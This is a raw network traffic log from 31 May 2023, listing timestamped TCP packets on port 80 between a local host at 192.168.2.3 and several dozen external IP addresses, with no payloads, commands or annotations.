May 31, 2023 14:50:34.636811972 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636832952 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.636845112 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.636912107 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.654530048 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:34.656416893 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:34.762594938 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.762629986 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.762872934 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.767200947 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.767237902 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.767385960 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.776381969 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.776421070 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.776783943 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.785064936 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.785096884 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.785304070 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.794049025 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.794089079 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.794451952 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.802809954 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.802844048 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.803016901 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.803064108 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.811553001 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.811578035 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.811724901 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.820466995 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.820503950 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.820794106 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.829335928 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.829390049 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.829936981 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.838155985 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.838186026 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.838479996 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.860866070 CEST	80	49901	185.80.51.179	192.168.2.3
May 31, 2023 14:50:34.861076117 CEST	49901	80	192.168.2.3	185.80.51.179
May 31, 2023 14:50:34.888662100 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.888695002 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.888999939 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.893040895 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.893069983 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.893340111 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.901915073 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.901951075 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.902339935 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.910279989 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.910340071 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.910705090 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.918539047 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.918600082 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.919038057 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:34.927016020 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.927057981 CEST	80	49935	74.208.236.101	192.168.2.3
May 31, 2023 14:50:34.927515030 CEST	49935	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:35.076288939 CEST	49936	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:35.162004948 CEST	80	49936	93.187.206.66	192.168.2.3
May 31, 2023 14:50:35.162261963 CEST	49936	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:35.162718058 CEST	49936	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:35.248349905 CEST	80	49936	93.187.206.66	192.168.2.3
May 31, 2023 14:50:35.248544931 CEST	80	49936	93.187.206.66	192.168.2.3
May 31, 2023 14:50:35.248693943 CEST	49936	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:35.377309084 CEST	49937	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:35.694178104 CEST	80	49905	108.167.164.216	192.168.2.3
May 31, 2023 14:50:35.694365978 CEST	49905	80	192.168.2.3	108.167.164.216
May 31, 2023 14:50:35.827888966 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:35.842535973 CEST	80	49938	99.84.88.4	192.168.2.3
May 31, 2023 14:50:35.842758894 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:35.843040943 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:35.845736027 CEST	80	49898	60.43.154.138	192.168.2.3
May 31, 2023 14:50:35.845904112 CEST	49898	80	192.168.2.3	60.43.154.138
May 31, 2023 14:50:35.857568979 CEST	80	49938	99.84.88.4	192.168.2.3
May 31, 2023 14:50:35.857762098 CEST	80	49938	99.84.88.4	192.168.2.3
May 31, 2023 14:50:35.857927084 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:35.878884077 CEST	49933	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:35.879101038 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:35.893703938 CEST	80	49938	99.84.88.4	192.168.2.3
May 31, 2023 14:50:35.893739939 CEST	80	49938	99.84.88.4	192.168.2.3
May 31, 2023 14:50:35.893961906 CEST	49938	80	192.168.2.3	99.84.88.4
May 31, 2023 14:50:36.010504961 CEST	80	49914	217.19.237.54	192.168.2.3
May 31, 2023 14:50:36.010677099 CEST	49914	80	192.168.2.3	217.19.237.54
May 31, 2023 14:50:36.023113012 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.062462091 CEST	80	49862	93.187.206.66	192.168.2.3
May 31, 2023 14:50:36.062716007 CEST	49862	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:36.073930979 CEST	80	49913	165.227.252.190	192.168.2.3
May 31, 2023 14:50:36.074188948 CEST	49913	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:36.097691059 CEST	49868	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:36.148510933 CEST	80	49910	96.127.180.42	192.168.2.3
May 31, 2023 14:50:36.148618937 CEST	49910	80	192.168.2.3	96.127.180.42
May 31, 2023 14:50:36.301949978 CEST	80	49939	211.1.226.67	192.168.2.3
May 31, 2023 14:50:36.302177906 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.303301096 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.410218954 CEST	49877	80	192.168.2.3	185.15.129.58
May 31, 2023 14:50:36.582703114 CEST	80	49939	211.1.226.67	192.168.2.3
May 31, 2023 14:50:36.582737923 CEST	80	49939	211.1.226.67	192.168.2.3
May 31, 2023 14:50:36.582865953 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.607747078 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.890549898 CEST	80	49939	211.1.226.67	192.168.2.3
May 31, 2023 14:50:36.890634060 CEST	49939	80	192.168.2.3	211.1.226.67
May 31, 2023 14:50:36.927153111 CEST	80	49924	188.166.152.188	192.168.2.3
May 31, 2023 14:50:36.927313089 CEST	49924	80	192.168.2.3	188.166.152.188
May 31, 2023 14:50:37.014173031 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.030956030 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.034562111 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.038666964 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.055452108 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982527018 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982569933 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982587099 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982599974 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982613087 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982630968 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982650995 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982692003 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982711077 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982732058 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982748985 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.982775927 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982795000 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.982836962 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.982872009 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.983289003 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.983316898 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.983335972 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.983354092 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.983469963 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.984236002 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.984277010 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.984297037 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.984314919 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.984446049 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.984493017 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.985220909 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.985245943 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.985265970 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.985284090 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.985394001 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.985431910 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.986258984 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.986285925 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.986306906 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.986325026 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.986447096 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.986490965 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:37.987080097 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.987104893 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:37.987283945 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.000514030 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000554085 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000574112 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000590086 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000794888 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000818968 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000845909 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000910044 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.000926971 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.000987053 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.001770020 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.001802921 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.001821041 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.001838923 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.001969099 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.002006054 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.002705097 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.002733946 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.002753019 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.002772093 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.002887964 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.002912045 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.003649950 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.003679037 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.003698111 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.003715992 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.003842115 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.003863096 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.004678965 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.004709959 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.004750967 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.004770994 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.004901886 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.004925013 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.005592108 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.005620956 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.005639076 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.005657911 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.005681038 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.005707979 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.006514072 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.006541014 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.006560087 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.006577969 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.006597996 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.006623983 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.007437944 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.007461071 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.007482052 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.007510900 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.007621050 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.007659912 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.008407116 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.008433104 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.008450985 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.008470058 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.008599043 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.008933067 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.009356976 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.009382010 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.009402037 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.009421110 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.009504080 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.009540081 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.010323048 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.010345936 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.010365009 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.010382891 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.010481119 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.010509014 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.011291981 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.011318922 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.011337996 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.011357069 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.011475086 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.011507034 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.012275934 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.012301922 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.012319088 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.012337923 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.012458086 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.012481928 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.013190985 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.013216019 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.013228893 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.013242006 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.013381958 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.017678976 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.017718077 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.017735958 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.017777920 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.017962933 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.017986059 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018002987 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.018002987 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.018019915 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.018037081 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018058062 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018064976 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.018095970 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.018888950 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018917084 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018934965 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.018954039 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.019078970 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.019114971 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.019628048 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.019654036 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.019673109 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.019691944 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.019785881 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.019812107 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.020416021 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.020443916 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.020462990 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.020483971 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.020593882 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.020617962 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.021179914 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.021203995 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.021223068 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.021239996 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.021327972 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.021367073 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.021971941 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.021998882 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022017956 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022036076 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022139072 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.022176981 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.022763014 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022789001 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022808075 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022825956 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.022937059 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.022958040 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.023528099 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.023555994 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.023575068 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.023593903 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.023610115 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.023632050 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.024317980 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024341106 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024403095 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.024699926 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024724960 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024749041 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.024756908 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024776936 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.024792910 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.024816990 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.025540113 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.025568962 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.025588036 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.025608063 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.025641918 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.025669098 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.026273012 CEST	80	49940	172.67.70.223	192.168.2.3
May 31, 2023 14:50:38.026530981 CEST	49940	80	192.168.2.3	172.67.70.223
May 31, 2023 14:50:38.212441921 CEST	49941	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:38.222965956 CEST	80	49851	213.186.33.40	192.168.2.3
May 31, 2023 14:50:38.223102093 CEST	49851	80	192.168.2.3	213.186.33.40
May 31, 2023 14:50:38.312773943 CEST	80	49931	208.109.214.162	192.168.2.3
May 31, 2023 14:50:38.314681053 CEST	49931	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:38.363543987 CEST	49937	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:38.847856045 CEST	49903	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:39.116831064 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.246707916 CEST	80	49942	66.94.119.160	192.168.2.3
May 31, 2023 14:50:39.247003078 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.247524023 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.375418901 CEST	80	49942	66.94.119.160	192.168.2.3
May 31, 2023 14:50:39.376183033 CEST	80	49942	66.94.119.160	192.168.2.3
May 31, 2023 14:50:39.376321077 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.402209044 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:39.402436018 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:39.404043913 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.532764912 CEST	80	49942	66.94.119.160	192.168.2.3
May 31, 2023 14:50:39.532876968 CEST	49942	80	192.168.2.3	66.94.119.160
May 31, 2023 14:50:39.880939960 CEST	80	49894	202.254.236.40	192.168.2.3
May 31, 2023 14:50:39.881056070 CEST	49894	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:40.258686066 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:40.268412113 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:40.284904957 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:40.285092115 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:40.285464048 CEST	49916	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:40.285576105 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:40.302062035 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:40.452785015 CEST	80	49943	122.128.109.107	192.168.2.3
May 31, 2023 14:50:40.453006983 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:40.627342939 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:40.627427101 CEST	80	49944	104.26.3.124	192.168.2.3
May 31, 2023 14:50:40.627589941 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:40.629518986 CEST	49944	80	192.168.2.3	104.26.3.124
May 31, 2023 14:50:41.206553936 CEST	80	49842	104.196.26.65	192.168.2.3
May 31, 2023 14:50:41.206783056 CEST	49842	80	192.168.2.3	104.196.26.65
May 31, 2023 14:50:41.223146915 CEST	49941	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:41.244277954 CEST	49943	80	192.168.2.3	122.128.109.107
May 31, 2023 14:50:41.315397024 CEST	49944	80	192.168.2.3	104.26.3.124
